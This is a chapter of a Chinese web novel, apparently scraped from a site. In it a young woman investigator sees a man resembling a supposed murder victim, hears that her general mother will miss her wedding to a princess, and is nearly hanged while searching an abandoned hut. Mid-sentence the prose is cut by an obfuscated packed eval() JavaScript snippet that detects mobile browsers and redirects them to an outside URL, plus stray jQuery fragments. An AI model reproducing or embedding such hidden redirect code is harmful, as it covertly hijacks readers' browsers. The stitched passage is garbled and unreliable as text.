那是一张极其憔悴的脸,皮肤黝黑粗糙,眼窝深陷,嘴唇干裂起皮,从疲惫迟缓的身形动作来看,这人是年龄大约在五十岁左右。
可问题就出现在这里,这张脸竟与大理寺卷宗里那张徐青山的画像,有八九分相似。
梁今越揉了揉眼睛。
她这是……活见鬼了?!!
徐青山的尸体还在大理寺躺着呢,眼前这个人是谁?孪生兄弟?
只见那“徐青山”默默搬完木料,用袖子擦了把额头的汗,脚步蹒跚地朝着雕刻坊最深处的废弃角落走去。
梁今越心头一紧,立刻跟了上去。
她装作“好奇”地东摸摸西看看,一边一步三挪地朝着那个角落蹭过去。
目标似乎察觉到身后有动静,脚步顿了一下,便加快了脚步。
梁今越眼见人就要跟丢,急中生智,假装被一根突出的木刺勾住了裤腿,夸张地“哎呀”一声,便猴子一样连蹦带跳向前冲。
眼看距离目标只有几步之遥,胜利在望。
结果梁今越脚下不知踩到了哪个匠人洒在地上的木蜡油渍,整个人“哧溜”一下扑向前。
“哎哟!”
这下假惊呼变成真的了。
她手忙脚乱地想跳上旁边的木架稳住身体,结果低估了架子的结实程度,还将挂在上面帆布给踩了下来。
架子上的帆布兜头盖脸地罩了下来,把她整个人蒙在了里面,还带倒了旁边几个空木桶,顿时“哐当哐当”一阵乱响。
走在前面的“徐青山”被身后巨大动静惊得猛地转过身。
麻木的双眼盯着那团在地上疯狂蠕动不明物体,嘴角抽了抽。
两人在昏暗的角落里,隔着乱飞的灰尘和满地的木桶,无声地对峙着。
完了,这下彻底暴露了。
梁今越有些绝望地想着。
就在这千钧一发之际,远处传来管事的吆喝声:
“那边什么动静?谁在那儿?”
“徐青山”眼神一闪,犹豫地看了地上的梁今越一眼,一言不发转身消失在阴影后,仿佛从未出现过。
梁今越愣在原地,心脏还在狂跳。
管事骂骂咧咧的声音越来越近。
她来不及多想,赶紧手忙脚乱地把破帆布从身上扯下来,放到一边,又把倒地的木桶扶起来摆好,在那管事冲过来之前,一溜烟地混入了远处干活的匠人堆里,拿起扫帚卖力地扫着地上的木屑。
好不容易熬到可以下工的时间,离开文思院的梁今越几乎是飘着回到梁府的。
如果说徐青山没死?那琼林苑柱子里的人是谁?
还是说她刚才真的见到鬼了?可这鬼既然是有冤屈为什么不找她帮忙还跑了?
她心不在焉地穿过前廊,连穆姨喊她都没听清。
刚踏进后院,恍如隔世的热闹氛围扑面而来。
“快快,把那羊腿翻个面,一会火候过了就柴了!”
“是切花刀不是绣花,等你切完我们都要下桌了。”
几个年纪大约三四十岁的女子站在院中,她们穿着行动的粗布劲装,头发用荆钗利落地挽起,腰间明晃晃地挎着刀鞘磨得发亮的武器,洪亮的嗓门喊出了千军万马的气势。
这是梁今越母亲留在京中的几位老部下。
直到穆姨抗着拐杖,风风火火地快步走到她面前,她才猛地回过神来。
“小姐!你可回来了!”
“小姐回来了?在哪呢在哪呢?”
“穆姐姐不是说你去查案子了吗,咋造成这样子?”
跑在最前头的秋兰扯了扯梁今越补丁摞补丁的裋褐,又看了穆姨的耳朵,恍然大悟:
“原来是烧炭去了?”
梁今越:“……”
“谁?谁碰上人贩子了?”
穆姨大声问道。
“没,没有人遇上人贩子。”
梁今越抹了把脸上的灰,连忙笑着把话题岔过去:
“好香的肉!今儿是什么日子?几位姨姨都在家。”
她有些疑惑,印象里府里很久没这么有生气了。
穆姨压低了声音,左右看了看,才凑近道,
“宫里刚才来人捎口信了!”
“宫里?”
梁今越心头一跳,难道是案件的事有变?还是陛下怎么了?
“是将军的信!”
旁边的辛夷举着手中的羊腿就凑了过来,她性子急,说话更急:
“大将军说了,现在在边关军务极其繁忙,抽不开身,月底的大婚,她没法赶回来了!让你自己看着办,一切听陛下和公主府安排便是。”
“……”
梁今越僵住,眼睛眨了眨。
“……啊!”
对啊,她还有个婚要结一下。
“可我前些日子看兵部邸报,似乎并无特别警讯。怎会……”
糟了糟了,她娘不回来那她岂不是真要把公主娶回家了?
梁今越的眉毛肉眼可见地纠结到一起。
穆姨安慰她:
“将军她估计是有不得已的苦衷,边关重地,瞬息万变,万一……”
她编不下去了,她耳背,但脑袋又不笨。
作为跟随军多年的亲卫,她对边关军情的大致态势也是了解的,这个时节确实不该有什么需要主将无法抽身的大战事。
“对哈,这事有蹊跷。”
穆姨一拍脑袋。
这不对劲!非常不对劲!
“可不是嘛!”
“将军也真是的!小……郎君这赐婚可是天大的事!她这当娘的怎么能说不回来就不回来。”
一旁把刀磨的咔咔响的杜衡接话。
她们几个听到信儿后就赶了过来,毕竟成亲这种大事父母不在身边,可别给孩子压出什么毛病来。
梁今越倒是没有忘坏的方面去想,她娘不回来,还直接把信送到了宫中,这一定是在和陛下做什么她们不能知道的大事。
只不过,
“啊——”
梁今越干嚎一声,抱着头蹲了下去,
“我的娘啊!您倒是走得潇洒!可您闺女就要去娶公主了啊!这算什么事儿啊!”
“哈哈哈哈哈哈,小姐莫慌,不就是娶媳妇儿嘛……哈哈哈哈哈我在这方面还真没经验哈哈哈哈。”
众人笑得前仰后合。
梁今越蹲在地上,听着长辈们豪迈的笑声,只觉得眼前一黑。
案件子查的越来越邪乎,公主的婚期迫近,她哥毫无音信,如今连娘亲也不回家……这日子,可真是越来越有盼头了。
月光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825863|175517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,长短不一的虫鸣交错响起,一道深灰色影子,绕开工坊区,朝着文思院西北角那片罕有人至的旧匠舍摸去。
深夜睡不着的梁今越凭着白天的记忆,站在几排低矮的土坯房前。
歪歪斜斜的小屋挤在一起,大多数都塌了半边屋顶或干脆门窗全无,显然早已废弃多年。
空气中弥漫着雨后潮湿的霉味。
白日里孙把头曾模糊提过,周正住在“最里头靠水井那间”。
梁今越循着记忆,绕过几丛疯长的野草,终于在最角落看到了那口早已废弃石井。
就是这了。
“吱嘎”
令人牙酸的摩擦声响起,打破了夜间的死寂。
门轴显然已经锈死,只推开一条狭窄的缝隙,便卡住了。
梁今越没办法,手臂用力,把门板卸了下来。
门板上的灰尘掉了一地,呛得梁今越忍不住掩鼻咳嗽了两声。
屋内糊窗的纸早已烂光和屋顶几处坍塌的漏洞透进几束月光,视线之内的一切都堆了厚厚的灰。
好在屋子很小,所有的家具都摆在明面上,梁今越很快就将所有可能的角落都翻了个遍,就连耗子洞都没放过。
距离周正自尽已经过去了十五年,这十五年里,足够抹去很多痕迹。
梁今越有些不甘心。
她向上望去,目光顿住。
房屋正中央的房梁上,垂挂着一截同样落满厚厚灰尘的粗麻绳,正在无风自动着,房梁的侧面阴影里,好像刻着什么东西?
一定是线索!
梁今越来了精神,她小心翼翼地将屋内快要散架的矮凳勉强拼凑扶正,然后踩了上去。
凳子摇晃得厉害,她不得不扶着旁边疯狂掉渣的墙皮和摇晃的绳子来保持平衡。
她将脸凑的离绳子近了些,布满蜘蛛蛛网的梁木侧面,果然有刻痕!
用袖子赶走蜘蛛擦去灰尘,两只手攀着绳子努力辨认着:
这上面仿佛用指甲或利器反复划过,但隐约能看出来个“愧”字。
脚下摇摇晃晃的矮凳,终于承受不住突然加重的力量,发出最后的惨叫声,彻底散架。
梁今越:“!!!”
她只觉脚下一空,巨大的下坠力猛地拉扯。
最糟糕的是,她的脖子下有根没有解扣的麻绳。
“呕”
她用力撑着喉咙处的麻绳,挣扎着想要把她扯断。
可这周正当初不知下了多狠的绝心,力气大如她也没能让这根绳受个皮外伤。
难道她今晚就要交待在这里了吗?
那估计京中又要多一桩离奇诡案了。
她挂在房梁上边扑腾边有些乐观地想着。
梁今越只觉眼前寒光一晃,手上那致命的勒紧感骤然消失,一只粗糙有力的手扶住了她的胳膊,将她带离了废墟。
“咳咳……多谢?!”
她一边剧烈咳嗽,一边抹开糊住眼睛的灰尘和泪水,看向救她的人。
尘雾散去。
眼前人的真面目清晰地出现在她面前。
正是那个“死而复生”的徐青山。
男人身上的粗布裋褐沾满了灰尘,呼吸有些急促,显然刚才的动作对于他来说是极大的体力消耗。
“徐青山?”